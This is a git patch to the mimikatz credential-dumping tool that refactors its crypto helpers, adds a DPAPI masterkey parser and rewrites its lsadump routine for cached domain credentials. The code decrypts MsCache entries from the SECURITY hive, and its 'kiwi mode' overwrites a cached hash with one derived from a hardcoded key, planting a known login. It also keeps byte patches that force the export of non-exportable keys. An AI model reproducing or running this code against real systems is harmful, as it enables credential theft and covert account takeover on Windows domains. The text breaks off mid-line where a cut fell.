From 552fe7ac518b17e1a5f31a2f52417ab215f0f3de Mon Sep 17 00:00:00 2001 From: Benjamin DELPY Date: Wed, 3 Jun 2015 02:13:43 +0200 Subject: [PATCH] Crypto and DPAPI cleaning --- inc/globals.h | 4 +- mimikatz/mimikatz.c | 1 + mimikatz/mimikatz.h | 1 + mimikatz/mimikatz.vcxproj | 4 + mimikatz/mimikatz.vcxproj.filters | 12 + mimikatz/modules/kuhl_m_crypto.c | 108 +-------- mimikatz/modules/kuhl_m_crypto.h | 10 +- mimikatz/modules/kuhl_m_dpapi.c | 32 +++ mimikatz/modules/kuhl_m_dpapi.h | 13 ++ mimikatz/modules/kuhl_m_lsadump.c | 202 ++++++---------- mimikatz/modules/kuhl_m_lsadump.h | 17 -- modules/kull_m_crypto.c | 369 ++++++++++++++++++++++++++++++ modules/kull_m_crypto.h | 38 +++ modules/kull_m_crypto_system.h | 7 +- modules/kull_m_dpapi.c | 211 +++++++++++------ modules/kull_m_dpapi.h | 18 +- 16 files changed, 707 insertions(+), 340 deletions(-) create mode 100644 mimikatz/modules/kuhl_m_dpapi.c create mode 100644 mimikatz/modules/kuhl_m_dpapi.h create mode 100644 modules/kull_m_crypto.c create mode 100644 modules/kull_m_crypto.h diff --git a/inc/globals.h b/inc/globals.h index 74e1a394..90c69369 100644 --- a/inc/globals.h +++ b/inc/globals.h @@ -17,7 +17,6 @@ #include #include "../modules/kull_m_output.h" //#define KERBEROS_TOOLS -//#define DPAPI_TOOLS //#define LSASS_DECRYPT //#define LSARPDATA #define NET_MODULE @@ -68,6 +67,9 @@ DWORD MIMIKATZ_NT_MAJOR_VERSION, MIMIKATZ_NT_MINOR_VERSION, MIMIKATZ_NT_BUILD_NU #define RtlEqualLuid(L1, L2) (((L1)->LowPart == (L2)->LowPart) && ((L1)->HighPart == (L2)->HighPart)) #define RtlEqualGuid(L1, L2) (RtlEqualMemory(L1, L2, sizeof(GUID))) + +#define KIWI_MINIMUM(a,b) (((a) < (b)) ? (a) : (b)) + #define LM_NTLM_HASH_LENGTH 16 #define KULL_M_WIN_BUILD_XP 2600 diff --git a/mimikatz/mimikatz.c b/mimikatz/mimikatz.c index fbaa6003..80ef6f10 100644 --- a/mimikatz/mimikatz.c +++ b/mimikatz/mimikatz.c @@ -23,6 +23,7 @@ const KUHL_M * mimikatz_modules[] = { #ifdef NET_MODULE &kuhl_m_net, #endif + &kuhl_m_dpapi, }; int wmain(int argc, wchar_t * argv[]) diff --git a/mimikatz/mimikatz.h b/mimikatz/mimikatz.h index 66501a42..d94fc7a9 100644 --- a/mimikatz/mimikatz.h +++ b/mimikatz/mimikatz.h @@ -23,6 +23,7 @@ #ifdef NET_MODULE #include "modules/kuhl_m_net.h" #endif +#include "modules/kuhl_m_dpapi.h" #include "modules/kuhl_m_kernel.h" #include diff --git a/mimikatz/mimikatz.vcxproj b/mimikatz/mimikatz.vcxproj index 3763d110..923fb6a4 100644 --- a/mimikatz/mimikatz.vcxproj +++ b/mimikatz/mimikatz.vcxproj @@ -88,6 +88,7 @@ + @@ -109,6 +110,7 @@ + @@ -140,6 +142,7 @@ + @@ -166,6 +169,7 @@ + diff --git a/mimikatz/mimikatz.vcxproj.filters b/mimikatz/mimikatz.vcxproj.filters index 75686993..c941488b 100644 --- a/mimikatz/mimikatz.vcxproj.filters +++ b/mimikatz/mimikatz.vcxproj.filters @@ -149,6 +149,12 @@ local modules + + local modules + + + common modules + @@ -317,6 +323,12 @@ local modules + + local modules + + + common modules + diff --git a/mimikatz/modules/kuhl_m_crypto.c b/mimikatz/modules/kuhl_m_crypto.c index 3808d2db..f1d59350 100644 --- a/mimikatz/modules/kuhl_m_crypto.c +++ b/mimikatz/modules/kuhl_m_crypto.c @@ -24,53 +24,6 @@ const KUHL_M kuhl_m_crypto = { ARRAYSIZE(kuhl_m_c_crypto), kuhl_m_c_crypto, kuhl_m_crypto_init, kuhl_m_crypto_clean }; -const KUHL_M_CRYPTO_DWORD_TO_DWORD kuhl_m_crypto_system_stores[] = { - {L"CERT_SYSTEM_STORE_CURRENT_USER", CERT_SYSTEM_STORE_CURRENT_USER}, - {L"CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY", CERT_SYSTEM_STORE_CURRENT_USER_GROUP_POLICY}, - {L"CERT_SYSTEM_STORE_LOCAL_MACHINE", CERT_SYSTEM_STORE_LOCAL_MACHINE}, - {L"CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY", CERT_SYSTEM_STORE_LOCAL_MACHINE_GROUP_POLICY}, - {L"CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE", CERT_SYSTEM_STORE_LOCAL_MACHINE_ENTERPRISE}, - {L"CERT_SYSTEM_STORE_CURRENT_SERVICE", CERT_SYSTEM_STORE_CURRENT_SERVICE}, - {L"CERT_SYSTEM_STORE_USERS", CERT_SYSTEM_STORE_USERS}, - {L"CERT_SYSTEM_STORE_SERVICES", CERT_SYSTEM_STORE_SERVICES}, -}; - -const KUHL_M_CRYPTO_NAME_TO_REALNAME kuhl_m_crypto_provider_names[] = { - {L"MS_DEF_PROV", MS_DEF_PROV}, - {L"MS_ENHANCED_PROV", MS_ENHANCED_PROV}, - {L"MS_STRONG_PROV", MS_STRONG_PROV}, - {L"MS_DEF_RSA_SIG_PROV", MS_DEF_RSA_SIG_PROV}, - {L"MS_DEF_RSA_SCHANNEL_PROV", MS_DEF_RSA_SCHANNEL_PROV}, - {L"MS_DEF_DSS_PROV", MS_DEF_DSS_PROV}, - {L"MS_DEF_DSS_DH_PROV", MS_DEF_DSS_DH_PROV}, - {L"MS_ENH_DSS_DH_PROV", MS_ENH_DSS_DH_PROV}, - {L"MS_DEF_DH_SCHANNEL_PROV", MS_DEF_DH_SCHANNEL_PROV}, - {L"MS_SCARD_PROV", MS_SCARD_PROV}, - {L"MS_ENH_RSA_AES_PROV_XP", MS_ENH_RSA_AES_PROV_XP}, - {L"MS_ENH_RSA_AES_PROV", MS_ENH_RSA_AES_PROV}, -}; - -const KUHL_M_CRYPTO_DWORD_TO_DWORD kuhl_m_crypto_provider_types[] = { - {L"PROV_RSA_FULL", PROV_RSA_FULL}, - {L"PROV_RSA_SIG", PROV_RSA_SIG}, - {L"PROV_DSS", PROV_DSS}, - {L"PROV_FORTEZZA", PROV_FORTEZZA}, - {L"PROV_MS_EXCHANGE", PROV_MS_EXCHANGE}, - {L"PROV_SSL", PROV_SSL}, - {L"PROV_RSA_SCHANNEL", PROV_RSA_SCHANNEL}, - {L"PROV_DSS_DH", PROV_DSS_DH}, - {L"PROV_EC_ECDSA_SIG", PROV_EC_ECDSA_SIG}, - {L"PROV_EC_ECNRA_SIG", PROV_EC_ECNRA_SIG}, - {L"PROV_EC_ECDSA_FULL", PROV_EC_ECDSA_FULL}, - {L"PROV_EC_ECNRA_FULL", PROV_EC_ECNRA_FULL}, - {L"PROV_DH_SCHANNEL", PROV_DH_SCHANNEL}, - {L"PROV_SPYRUS_LYNKS", PROV_SPYRUS_LYNKS}, - {L"PROV_RNG", PROV_RNG}, - {L"PROV_INTEL_SEC", PROV_INTEL_SEC}, - {L"PROV_REPLACE_OWF", PROV_REPLACE_OWF}, - {L"PROV_RSA_AES", PROV_RSA_AES}, -}; - PCP_EXPORTKEY K_CPExportKey = NULL; PNCRYPT_OPEN_STORAGE_PROVIDER K_NCryptOpenStorageProvider = NULL; PNCRYPT_ENUM_KEYS K_NCryptEnumKeys = NULL; @@ -175,8 +128,8 @@ NTSTATUS kuhl_m_crypto_l_stores(int argc, wchar_t * argv[]) { DWORD dwSystemStore, nbStore = 0; PCWCHAR szSystemStore; - kull_m_string_args_byName(argc, argv, L"systemstore", &szSystemStore, kuhl_m_crypto_system_stores[0].name); - dwSystemStore = kuhl_m_crypto_system_store_to_dword(szSystemStore); + kull_m_string_args_byName(argc, argv, L"systemstore", &szSystemStore, L"CURRENT_USER"/*kuhl_m_crypto_system_stores[0].name*/); + dwSystemStore = kull_m_crypto_system_store_to_dword(szSystemStore); kprintf(L"Asking for System Store \'%s\' (0x%08x)\n", szSystemStore, dwSystemStore); if(!CertEnumSystemStore(dwSystemStore, NULL, &nbStore, kuhl_m_crypto_l_stores_enumCallback_print)) @@ -208,8 +161,8 @@ NTSTATUS kuhl_m_crypto_l_certificates(int argc, wchar_t * argv[]) BOOL export = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL); - kull_m_string_args_byName(argc, argv, L"systemstore", &szSystemStore, kuhl_m_crypto_system_stores[0].name); - dwSystemStore = kuhl_m_crypto_system_store_to_dword(szSystemStore); + kull_m_string_args_byName(argc, argv, L"systemstore", &szSystemStore, L"CURRENT_USER"/*kuhl_m_crypto_system_stores[0].name*/); + dwSystemStore = kull_m_crypto_system_store_to_dword(szSystemStore); kull_m_string_args_byName(argc, argv, L"store", &szStore, L"My"); kprintf(L" * System Store : \'%s\' (0x%08x)\n" @@ -247,7 +200,7 @@ NTSTATUS kuhl_m_crypto_l_certificates(int argc, wchar_t * argv[]) if(CryptAcquireCertificatePrivateKey(pCertContext, CRYPT_ACQUIRE_ALLOW_NCRYPT_KEY_FLAG /* CRYPT_ACQUIRE_SILENT_FLAG NULL */, NULL, &monProv, &keySpec, &keyToFree)) { - kprintf(L"\tType : %s (0x%08x)\n", kuhl_m_crypto_keytype_to_str(keySpec), keySpec); + kprintf(L"\tType : %s (0x%08x)\n", kull_m_crypto_keytype_to_str(keySpec), keySpec); if(keySpec != CERT_NCRYPT_KEY_SPEC) { @@ -315,11 +268,11 @@ NTSTATUS kuhl_m_crypto_l_keys(int argc, wchar_t * argv[]) BOOL export = kull_m_string_args_byName(argc, argv, L"export", NULL, NULL); kull_m_string_args_byName(argc, argv, L"provider", &szProvider, L"MS_ENHANCED_PROV"); - if(!(pProvider = kuhl_m_crypto_provider_to_realname(szProvider))) + if(!(pProvider = kull_m_crypto_provider_to_realname(szProvider))) pProvider = szProvider; kull_m_string_args_byName(argc, argv, L"providertype", &szProviderType, L"PROV_RSA_FULL"); - if(!(dwProviderType = kuhl_m_crypto_provider_type_to_dword(szProviderType))) + if(!(dwProviderType = kull_m_crypto_provider_type_to_dword(szProviderType))) dwProviderType = wcstoul(szProviderType, NULL, 0); if(kull_m_string_args_byName(argc, argv, L"machine", NULL, NULL)) @@ -356,7 +309,7 @@ NTSTATUS kuhl_m_crypto_l_keys(int argc, wchar_t * argv[]) for(ks = AT_KEYEXCHANGE, hCapiKey = 0; (ks <= AT_SIGNATURE) && !CryptGetUserKey(hCryptKeyProv, ks, &hCapiKey); ks++); if(hCapiKey) { - kprintf(L"\tType : %s (0x%08x)\n", kuhl_m_crypto_keytype_to_str(ks), ks); + kprintf(L"\tType : %s (0x%08x)\n", kull_m_crypto_keytype_to_str(ks), ks); kuhl_m_crypto_printKeyInfos(0, hCapiKey); if(export) kuhl_m_crypto_exportKeyToFile(0, hCapiKey, ks, szStore, i, containerName); @@ -625,51 +578,6 @@ wchar_t * kuhl_m_crypto_generateFileName(const wchar_t * term0, const wchar_t * return buffer; } -DWORD kuhl_m_crypto_system_store_to_dword(PCWSTR name) -{ - DWORD i; - if(name) - for(i = 0; i < ARRAYSIZE(kuhl_m_crypto_system_stores); i++) - if((_wcsicmp(name, kuhl_m_crypto_system_stores[i].name) == 0) || (_wcsicmp(name, kuhl_m_crypto_system_stores[i].name + 18) == 0)) - return kuhl_m_crypto_system_stores[i].id; - return 0; -} - -DWORD kuhl_m_crypto_provider_type_to_dword(PCWSTR name) -{ - DWORD i; - if(name) - for(i = 0; i < ARRAYSIZE(kuhl_m_crypto_provider_types); i++) - if((_wcsicmp(name, kuhl_m_crypto_provider_types[i].name) == 0) || (_wcsicmp(name, kuhl_m_crypto_provider_types[i].name + 5) == 0)) - return kuhl_m_crypto_provider_types[i].id; - return 0; -} - -PCWCHAR kuhl_m_crypto_provider_to_realname(PCWSTR name) -{ - DWORD i; - if(name) - for(i = 0; i < ARRAYSIZE(kuhl_m_crypto_provider_names); i++) - if((_wcsicmp(name, kuhl_m_crypto_provider_names[i].name) == 0) || (_wcsicmp(name, kuhl_m_crypto_provider_names[i].name + 3) == 0)) - return kuhl_m_crypto_provider_names[i].realname; - return NULL; -} - -const wchar_t * kuhl_m_crypto_keytype_to_str(const DWORD keyType) -{ - switch (keyType) - { - case AT_KEYEXCHANGE: - return L"AT_KEYEXCHANGE"; - case AT_SIGNATURE: - return L"AT_SIGNATURE"; - case CERT_NCRYPT_KEY_SPEC: - return L"CNG Key"; - default: - return L"?"; - } -} - BYTE PATC_WIN5_CPExportKey_EXPORT[] = {0xeb}; BYTE PATC_W6AL_CPExportKey_EXPORT[] = {0x90, 0xe9}; #ifdef _M_X64 diff --git a/mimikatz/modules/kuhl_m_crypto.h b/mimikatz/modules/kuhl_m_crypto.h index 2a10ece4..6985f626 100644 --- a/mimikatz/modules/kuhl_m_crypto.h +++ b/mimikatz/modules/kuhl_m_crypto.h @@ -5,6 +5,7 @@ */ #pragma once #include "kuhl_m.h" +#include "../modules/kull_m_crypto.h" #include "../modules/kull_m_process.h" #include "../modules/kull_m_service.h" #include "../modules/kull_m_memory.h" @@ -34,11 +35,6 @@ typedef struct _KUHL_M_CRYPTO_NAME_TO_REALNAME{ PCWSTR realname; } KUHL_M_CRYPTO_NAME_TO_REALNAME, *PKUHL_M_CRYPTO_NAME_TO_REALNAME; -/*typedef struct _GENERICKEY_BLOB { - BLOBHEADER BlobHeader; - DWORD dwKeyLen; -} GENERICKEY_BLOB, *PGENERICKEY_BLOB;*/ - #define PVK_FILE_VERSION_0 0 #define PVK_MAGIC 0xb0b5f11e // bob's file #define PVK_NO_ENCRYPT 0 @@ -68,11 +64,7 @@ NTSTATUS kuhl_m_crypto_p_capi(int argc, wchar_t * argv[]); NTSTATUS kuhl_m_crypto_p_cng(int argc, wchar_t * argv[]); BOOL WINAPI kuhl_m_crypto_l_stores_enumCallback_print(const void *pvSystemStore, DWORD dwFlags, PCERT_SYSTEM_STORE_INFO pStoreInfo, void *pvReserved, void *pvArg); -DWORD kuhl_m_crypto_system_store_to_dword(PCWSTR name); -DWORD kuhl_m_crypto_provider_type_to_dword(PCWSTR name); -PCWCHAR kuhl_m_crypto_provider_to_realname(PCWSTR name); -const wchar_t * kuhl_m_crypto_keytype_to_str(const DWORD keyType); void kuhl_m_crypto_printKeyInfos(HCRYPTPROV_OR_NCRYPT_KEY_HANDLE monProv, HCRYPTKEY maCle); void kuhl_m_crypto_exportKeyToFile(NCRYPT_KEY_HANDLE hCngKey, HCRYPTKEY hCapiKey, DWORD keySpec, const wchar_t * store, const DWORD index, const wchar_t * name); void kuhl_m_crypto_exportCert(PCCERT_CONTEXT pCertificate, BOOL havePrivateKey, const wchar_t * systemStore, const wchar_t * store, const DWORD index, const wchar_t * name); diff --git a/mimikatz/modules/kuhl_m_dpapi.c b/mimikatz/modules/kuhl_m_dpapi.c new file mode 100644 index 00000000..a2e24ee2 --- /dev/null +++ b/mimikatz/modules/kuhl_m_dpapi.c @@ -0,0 +1,32 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kuhl_m_dpapi.h" + +const KUHL_M_C kuhl_m_c_dpapi[] = { + {kuhl_m_dpapi_masterkeys, L"masterkeys", L""}, +}; +const KUHL_M kuhl_m_dpapi = { + L"dpapi", L"", NULL, + ARRAYSIZE(kuhl_m_c_dpapi), kuhl_m_c_dpapi, NULL, NULL +}; + +NTSTATUS kuhl_m_dpapi_masterkeys(int argc, wchar_t * argv[]) +{ + PKULL_M_DPAPI_MASTERKEYS masterkeys; + PBYTE buffer; + DWORD szBuffer; + + if(argc && kull_m_file_readData(argv[0], &buffer, &szBuffer)) + { + if(masterkeys = kull_m_dpapi_masterkeys_create(buffer)) + { + kull_m_dpapi_masterkeys_descr(masterkeys); + kull_m_dpapi_masterkeys_delete(masterkeys); + } + LocalFree(buffer); + } + return STATUS_SUCCESS; +} \ No newline at end of file diff --git a/mimikatz/modules/kuhl_m_dpapi.h b/mimikatz/modules/kuhl_m_dpapi.h new file mode 100644 index 00000000..b67b820f --- /dev/null +++ b/mimikatz/modules/kuhl_m_dpapi.h @@ -0,0 +1,13 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "kuhl_m.h" +#include "../modules/kull_m_file.h" +#include "../modules/kull_m_dpapi.h" + +const KUHL_M kuhl_m_dpapi; + +NTSTATUS kuhl_m_dpapi_masterkeys(int argc, wchar_t * argv[]); \ No newline at end of file diff --git a/mimikatz/modules/kuhl_m_lsadump.c b/mimikatz/modules/kuhl_m_lsadump.c index 6b0f2e3d..0b5a9c26 100644 --- a/mimikatz/modules/kuhl_m_lsadump.c +++ b/mimikatz/modules/kuhl_m_lsadump.c @@ -18,33 +18,9 @@ const KUHL_M_C kuhl_m_c_lsadump[] = { const KUHL_M kuhl_m_lsadump = { L"lsadump", L"LsaDump module", NULL, - ARRAYSIZE(kuhl_m_c_lsadump), kuhl_m_c_lsadump, kuhl_m_lsadump_init, NULL + ARRAYSIZE(kuhl_m_c_lsadump), kuhl_m_c_lsadump, NULL, NULL }; -PHMACWITHSHA HMACwithSHA = NULL; -PAESCTSDECRYPTMSG aesCTSDecryptMsg = NULL; -PAESCTSENCRYPTMSG aesCTSEncryptMsg = NULL; -PPBKDF2 PBKDF2 = NULL; - -NTSTATUS kuhl_m_lsadump_init() -{ - HMODULE hModule; - if(MIMIKATZ_NT_MAJOR_VERSION >= 6) - { - if(hModule = GetModuleHandle(L"cryptdll")) - { - aesCTSDecryptMsg = (PAESCTSDECRYPTMSG) GetProcAddress(hModule, "aesCTSDecryptMsg"); - aesCTSEncryptMsg = (PAESCTSENCRYPTMSG) GetProcAddress(hModule, "aesCTSEncryptMsg"); - HMACwithSHA = (PHMACWITHSHA) GetProcAddress(hModule, "HMACwithSHA"); - PBKDF2 = (PPBKDF2) GetProcAddress(hModule, "PBKDF2"); - } - - if(!(aesCTSDecryptMsg && aesCTSEncryptMsg && HMACwithSHA && PBKDF2)) - return STATUS_NOT_FOUND; - } - return STATUS_SUCCESS; -} - NTSTATUS kuhl_m_lsadump_sam(int argc, wchar_t * argv[]) { HANDLE hData; @@ -656,51 +632,46 @@ BOOL kuhl_m_lsadump_getSecrets(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPo NTSTATUS kuhl_m_lsadump_get_dcc(PBYTE dcc, PBYTE ntlm, PUNICODE_STRING Username, DWORD realIterations) { - NTSTATUS result; + NTSTATUS status; LSA_UNICODE_STRING HashAndLowerUsername; LSA_UNICODE_STRING LowerUsername; BYTE buffer[LM_NTLM_HASH_LENGTH]; - result = RtlDowncaseUnicodeString(&LowerUsername, Username, TRUE); - if(NT_SUCCESS(result)) + status = RtlDowncaseUnicodeString(&LowerUsername, Username, TRUE); + if(NT_SUCCESS(status)) { HashAndLowerUsername.Length = HashAndLowerUsername.MaximumLength = LowerUsername.Length + LM_NTLM_HASH_LENGTH; if(HashAndLowerUsername.Buffer = (PWSTR) LocalAlloc(LPTR, HashAndLowerUsername.MaximumLength)) { RtlCopyMemory(HashAndLowerUsername.Buffer, ntlm, LM_NTLM_HASH_LENGTH); RtlCopyMemory((PBYTE) HashAndLowerUsername.Buffer + LM_NTLM_HASH_LENGTH, LowerUsername.Buffer, LowerUsername.Length); - result = RtlDigestNTLM(&HashAndLowerUsername, dcc); - if(NT_SUCCESS(result)) + status = RtlDigestNTLM(&HashAndLowerUsername, dcc); + if(realIterations && NT_SUCCESS(status)) { - if(realIterations) + if(kull_m_crypto_pkcs5_pbkdf2_hmac(CALG_SHA1, dcc, LM_NTLM_HASH_LENGTH, LowerUsername.Buffer, LowerUsername.Length, realIterations, buffer, LM_NTLM_HASH_LENGTH)) { - result = PBKDF2(dcc, LM_NTLM_HASH_LENGTH, LowerUsername.Buffer, LowerUsername.Length, realIterations, LM_NTLM_HASH_LENGTH, buffer); - if(NT_SUCCESS(result)) - RtlCopyMemory(dcc, buffer, LM_NTLM_HASH_LENGTH); + RtlCopyMemory(dcc, buffer, LM_NTLM_HASH_LENGTH); + status = STATUS_SUCCESS; } } LocalFree(HashAndLowerUsername.Buffer); } RtlFreeUnicodeString(&LowerUsername); } - return result; + return status; } BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity, IN HKEY hPolicyBase, IN HKEY hSecurityBase, PNT6_SYSTEM_KEYS lsaKeysStream, PNT5_SYSTEM_KEY lsaKeyUnique, BOOL kiwime) { BOOL status = FALSE; HKEY hValue, hCache; - DWORD i, j = 10240, szNLKM, nbValues, szMaxValueNameLen, szMaxValueLen, szSecretName, szSecret, szNeeded, s1; + DWORD i, iter = 10240, szNLKM, type, nbValues, szMaxValueNameLen, szMaxValueLen, szSecretName, szSecret, szNeeded, s1; PVOID pNLKM; wchar_t * secretName; PMSCACHE_ENTRY pMsCacheEntry; - HCRYPTPROV hContext; - HCRYPTKEY hKey; - AES_128_KEY_BLOB keyBlob = {{PLAINTEXTKEYBLOB, CUR_BLOB_VERSION, 0, CALG_AES_128}, AES_128_KEY_SIZE}; NTSTATUS nStatus; BYTE digest[MD5_DIGEST_LENGTH]; CRYPTO_BUFFER data, key = {MD5_DIGEST_LENGTH, MD5_DIGEST_LENGTH, digest}; - DWORD type; BYTE kiwiKey[] = {0x60, 0xba, 0x4f, 0xca, 0xdc, 0x46, 0x6c, 0x7a, 0x03, 0x3c, 0x17, 0x81, 0x94, 0xc0, 0x3d, 0xf6}; LSA_UNICODE_STRING usr; @@ -715,8 +686,8 @@ BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity, kprintf(L"\n"); if(kull_m_registry_RegQueryValueEx(hSecurity, hCache, L"NL$IterationCount", NULL, NULL, (LPBYTE) &i, &szNeeded)) { - j = (i > 10240) ? (i & ~0x3ff) : (i << 10); - kprintf(L"* NL$IterationCount is %u, %u real iteration(s)\n", i, j); + iter = (i > 10240) ? (i & ~0x3ff) : (i << 10); + kprintf(L"* NL$IterationCount is %u, %u real iteration(s)\n", i, iter); if(!i) kprintf(L"* DCC1 mode !\n"); } @@ -743,83 +714,70 @@ BOOL kuhl_m_lsadump_getNLKMSecretAndCache(IN PKULL_M_REGISTRY_HANDLE hSecurity, kull_m_string_displayLocalFileTime(&pMsCacheEntry->lastWrite); kprintf(L"]\nRID : %08x (%u)\n", pMsCacheEntry->userId, pMsCacheEntry->userId); + s1 = szSecret - FIELD_OFFSET(MSCACHE_ENTRY, enc_data); if(lsaKeysStream) // NT 6 { - if(MIMIKATZ_NT_MAJOR_VERSION >= 6) + if(kull_m_crypto_aesCTSEncryptDecrypt(CALG_AES_128, pMsCacheEntry->enc_data, s1, pNLKM, AES_128_KEY_SIZE, pMsCacheEntry->iv, FALSE)) { - s1 = szSecret - FIELD_OFFSET(MSCACHE_ENTRY, enc_data); - RtlCopyMemory(digest, pMsCacheEntry->iv, LAZY_IV_SIZE); - nStatus = aesCTSDecryptMsg(AES_128_KEY_SIZE, pNLKM, s1, pMsCacheEntry->enc_data, digest); - if(NT_SUCCESS(nStatus)) + kuhl_m_lsadump_printMsCache(pMsCacheEntry, '2'); + if(kiwime) { - kuhl_m_lsadump_printMsCache(pMsCacheEntry, '2'); - if(kiwime) + kprintf(L"> Kiwi mode...\n"); + usr.Length = usr.MaximumLength = pMsCacheEntry->szUserName; + usr.Buffer = (PWSTR) ((PBYTE) pMsCacheEntry->enc_data + sizeof(MSCACHE_DATA)); + if(NT_SUCCESS(kuhl_m_lsadump_get_dcc(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, kiwiKey, &usr, iter))) { - kprintf(L"> Kiwi mode...\n"); - usr.Length = usr.MaximumLength = pMsCacheEntry->szUserName; - usr.Buffer = (PWSTR) ((PBYTE) pMsCacheEntry->enc_data + sizeof(MSCACHE_DATA)); - if(NT_SUCCESS(kuhl_m_lsadump_get_dcc(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, kiwiKey, &usr, j))) + kprintf(L" MsCacheV2 : "); kull_m_string_wprintf_hex(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); + if(kull_m_crypto_hmac(CALG_SHA1, pNLKM, AES_128_KEY_SIZE, pMsCacheEntry->enc_data, s1, pMsCacheEntry->cksum, MD5_DIGEST_LENGTH)) { - kprintf(L" MsCacheV2 : "); kull_m_string_wprintf_hex(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); - nStatus = HMACwithSHA(pNLKM, AES_128_KEY_SIZE, pMsCacheEntry->enc_data, s1, (PVOID *) &pMsCacheEntry->cksum, MD5_DIGEST_LENGTH); - if(NT_SUCCESS(nStatus)) + kprintf(L" Checksum : "); kull_m_string_wprintf_hex(pMsCacheEntry->cksum, MD5_DIGEST_LENGTH, 0); kprintf(L"\n"); + if(kull_m_crypto_aesCTSEncryptDecrypt(CALG_AES_128, pMsCacheEntry->enc_data, s1, pNLKM, AES_128_KEY_SIZE, pMsCacheEntry->iv, TRUE)) { - kprintf(L" Checksum : "); kull_m_string_wprintf_hex(pMsCacheEntry->cksum, MD5_DIGEST_LENGTH, 0); kprintf(L"\n"); - RtlCopyMemory(digest, pMsCacheEntry->iv, LAZY_IV_SIZE); - nStatus = aesCTSEncryptMsg(AES_128_KEY_SIZE, pNLKM, s1, pMsCacheEntry->enc_data, digest); - if(NT_SUCCESS(nStatus)) - { - if(kull_m_registry_RegSetValueEx(hSecurity, hCache, secretName, 0, type, (LPBYTE) pMsCacheEntry, szSecret)) - kprintf(L"> OK!\n"); - else PRINT_ERROR_AUTO(L"kull_m_registry_RegSetValueEx"); - } + if(kull_m_registry_RegSetValueEx(hSecurity, hCache, secretName, 0, type, (LPBYTE) pMsCacheEntry, szSecret)) + kprintf(L"> OK!\n"); + else PRINT_ERROR_AUTO(L"kull_m_registry_RegSetValueEx"); } } } } } - else + } + else // NT 5 + { + if(kull_m_crypto_hmac(CALG_MD5, pNLKM, szNLKM, pMsCacheEntry->iv, LAZY_IV_SIZE, key.Buffer, MD5_DIGEST_LENGTH)) { - RtlCopyMemory(keyBlob.key, pNLKM, AES_128_KEY_SIZE); - if(CryptAcquireContext(&hContext, NULL, (MIMIKATZ_NT_BUILD_NUMBER < KULL_M_WIN_MIN_BUILD_2K3) ? MS_ENH_RSA_AES_PROV_XP : MS_ENH_RSA_AES_PROV, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)) + data.Length = data.MaximumLength = s1; + data.Buffer = pMsCacheEntry->enc_data; + nStatus = RtlEncryptDecryptRC4(&data, &key); + if(NT_SUCCESS(nStatus)) { - if(CryptImportKey(hContext, (LPBYTE) &keyBlob, sizeof(AES_128_KEY_BLOB), 0, 0, &hKey)) + kuhl_m_lsadump_printMsCache(pMsCacheEntry, '1'); + if(kiwime) { - if(status = CryptSetKeyParam(hKey, KP_IV, pMsCacheEntry->iv, 0)) + kprintf(L"> Kiwi mode...\n"); + usr.Length = usr.MaximumLength = pMsCacheEntry->szUserName; + usr.Buffer = (PWSTR) ((PBYTE) pMsCacheEntry->enc_data + sizeof(MSCACHE_DATA)); + if(NT_SUCCESS(kuhl_m_lsadump_get_dcc(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, kiwiKey, &usr, 0))) { - s1 = sizeof(MSCACHE_DATA) + pMsCacheEntry->szUserName + 2 * ((pMsCacheEntry->szUserName / sizeof(wchar_t)) % 2) + pMsCacheEntry->szDomainName; - s1 += s1 % AES_BLOCK_SIZE; - - if(s1 <= szSecret - FIELD_OFFSET(MSCACHE_ENTRY, enc_data)) + kprintf(L" MsCacheV1 : "); kull_m_string_wprintf_hex(((PMSCACHE_DATA) pMsCacheEntry->enc_data)->mshashdata, LM_NTLM_HASH_LENGTH, 0); kprintf(L"\n"); + if(kull_m_crypto_hmac(CALG_MD5, key.Buffer, MD5_DIGEST_LENGTH, pMsCacheEntry->enc_data, s1, pMsCacheEntry->cksum, MD5_DIGEST_LENGTH)) { - for(j = 0; status && (j < s1); j+= AES_BLOCK_SIZE) + kprintf(L" Checksum : "); kull_m_string_wprintf_hex(pMsCacheEntry->cksum, MD5_DIGEST_LENGTH, 0); kprintf(L"\n"); + nStatus = RtlEncryptDecryptRC4(&data, &key); + if(NT_SUCCESS(nStatus)) { - szNeeded = AES_BLOCK_SIZE; - status = CryptDecrypt(hKey, 0, FALSE, 0, pMsCacheEntry->enc_data + j, &szNeeded); + if(kull_m_registry_RegSetValueEx(hSecurity, hCache, secretName, 0, type, (LPBYTE) pMsCacheEntry, szSecret)) + kprintf(L"> OK!\n"); + else PRINT_ERROR_AUTO(L"kull_m_registry_RegSetValueEx"); } - - if(status) - kuhl_m_lsadump_printMsCache(pMsCacheEntry, '2'); - else PRINT_ERROR_AUTO(L"CryptDecrypt"); + else PRINT_ERROR(L"RtlEncryptDecryptRC4 : 0x%08x\n", nStatus); } } - else PRINT_ERROR_AUTO(L"CryptSetKeyParam"); - CryptDestroyKey(hKey); } - else PRINT_ERROR_AUTO(L"CryptImportKey"); - CryptReleaseContext(hContext, 0); } + else PRINT_ERROR(L"RtlEncryptDecryptRC4 : 0x%08x\n", nStatus); } - } - else // NT 5 - { - kuhl_m_lsadump_hmac_md5(pNLKM, szNLKM, pMsCacheEntry->iv, LAZY_IV_SIZE, digest); - data.Length = data.MaximumLength = szSecret - 